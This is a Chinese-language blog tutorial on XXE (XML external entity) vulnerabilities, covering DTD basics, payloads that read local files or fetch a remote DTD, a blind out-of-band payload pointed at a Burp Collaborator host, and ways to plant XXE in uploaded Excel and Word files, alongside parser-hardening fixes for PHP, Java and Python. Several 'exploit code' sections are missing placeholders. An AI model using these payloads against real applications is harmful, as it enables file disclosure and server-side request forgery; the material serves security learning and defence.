分享

xxe漏洞专题

 印度阿三17 2020-12-19

XML基础

xml作用:用于标记用户的数据与标记数据类型
定义以及基本结构

在这里插入图片描述
两种声明方法

**内部声明DTD** 
<!DOCTYPE 根元素 [元素声明]>

**引用外部DTD** 
<!DOCTYPE 根元素 SYSTEM "文件名"> 
#实例
#内部实体
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
#内部实调用方法
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

#外部实体1-->即利用dtd进行引用的即是外部实体
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>#即利用该dtd属性进行引用
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>
#外部实体2-->即进行外部引用
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere./remote.dtd"> 
%an-element; %remote-dtd;

利用命令

文件读取
其他利用姿势–>协议攻击,ssrf攻击,执行系统命令
典型利用方式与总结
深入了解xxe

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr./"> ]>#内容更改为自己的burp collaborator地址
<x>&xxe;</x>

修复方法

1.)使用开发语言提供的禁用外部实体的方法

//php:
libxml_disable_entity_loader(true); 

//java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();      
dbf.setExpandEntityReferences(false);

//Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.)过滤用户提交的xml数据
过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
3.)不允许xml中具有自己定义的DTD(即文档类型定义)

实战利用

1.)利用excel进行xee攻击
原理:excel与所有post-Office 2007文件格式一样,现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。
excle构成

_rels:包关系,包含workbook.xml.rels,部分关系项
SharedStrings.xml:共享字符串表部分,用户输入内容
styles.xml:关于font、fill、border等相关样式定义
theme;主题,包含theme1.xml,表示工作表1的主题
workbook.xml:工作薄内容该书
worksheets:sheet相关样式,含有sheet1.xml,表明单元格与样式间的关系、内容等。

利用方法–>即给excel的文件添加xml属性内容,上传excel后进行监听即可
利用代码
典型利用burp中的burp collaborator进行盲测攻击
结合burp联合证明方法–>即直接在xml中添加的链接是burp的
直接进行监听的方法
burp collaborator的使用技巧–>典型盲测必备
确认漏洞代码
更改内容即可
在这里插入图片描述

利用docs进行攻击
利用方法与excel的同

工具XXExploiter进行探测攻击
xxexploiter安装与攻击

来源:https://www./content-4-791351.html

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多